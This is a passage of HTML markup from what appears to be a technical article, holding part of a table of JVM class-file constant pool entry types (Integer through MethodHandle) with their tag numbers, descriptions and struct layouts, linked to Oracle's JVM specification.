margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">4-byte integer</span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_Integer_info {</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u1 tag;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u4 bytes;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /></td></tr><tr style="height: 23.5pt;"><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><a href="https://docs.oracle.com/javase/specs/jvms/se18/html/jvms-4.html#jvms-4.4.4" style="text-decoration-line: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_Float</span></a></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">4</span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">4-byte float</span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_Float_info {</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u1 tag;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u4 bytes;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /></td></tr><tr style="height: 23.5pt;"><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><a href="https://docs.oracle.com/javase/specs/jvms/se18/html/jvms-4.html#jvms-4.4.1" style="text-decoration-line: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_Long</span></a></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">5</span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">8-byte long</span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_Long_info {</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u1 tag;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u4 high_bytes;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u4 low_bytes;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /></td></tr><tr style="height: 23.5pt;"><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><a href="https://docs.oracle.com/javase/specs/jvms/se18/html/jvms-4.html#jvms-4.4.1" style="text-decoration-line: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_Double</span></a></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">6</span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">8-byte double</span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_Double_info {</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u1 tag;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u4 high_bytes;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u4 low_bytes;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p></td></tr><tr style="height: 23.5pt;"><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><a href="https://docs.oracle.com/javase/specs/jvms/se18/html/jvms-4.html#jvms-4.4.1" style="text-decoration-line: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_Class</span></a></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">7</span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Reference to a class. Links to a Utf8 constant describing the name.</span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_Class_info {</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u1 tag;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 name_index;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /></td></tr><tr style="height: 23.5pt;"><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><a href="https://docs.oracle.com/javase/specs/jvms/se18/html/jvms-4.html#jvms-4.4.3" style="text-decoration-line: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_String</span></a></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">8</span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">A JVM “String”. Links to a UTF8 constant. </span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_String_info {</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u1 tag;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 string_index;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /></td></tr><tr style="height: 23.5pt;"><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><a href="https://docs.oracle.com/javase/specs/jvms/se18/html/jvms-4.html#jvms-4.4.2" style="text-decoration-line: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_Fieldref</span></a></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><a href="http://constant_methodref" style="text-decoration-line: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_Methodref</span></a></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><a href="http://constant_methodref" style="text-decoration-line: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_InterfaceMethodref</span></a></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">9</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">10</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">11</span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Reference to a class field or method. Links to a Class constant </span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_Fieldref_info {</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u1 tag;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 class_index;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 name_and_type_index;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_Methodref_info {</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u1 tag;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 class_index;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 name_and_type_index;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_InterfaceMethodref_info {</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u1 tag;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 class_index;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 name_and_type_index;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /></td></tr><tr style="height: 23.5pt;"><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><a href="http://constant_nameandtype_info" style="text-decoration-line: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_NameAndType</span></a></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">12</span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Describes a field or method.</span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_NameAndType_info {</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u1 tag;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 name_index;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 descriptor_index;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /></td></tr><tr style="height: 23.5pt;"><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><a href="https://docs.oracle.com/javase/specs/jvms/se18/html/jvms-4.html#jvms-4.4.8" style="text-decoration-line: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_MethodHandle</span></a></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; 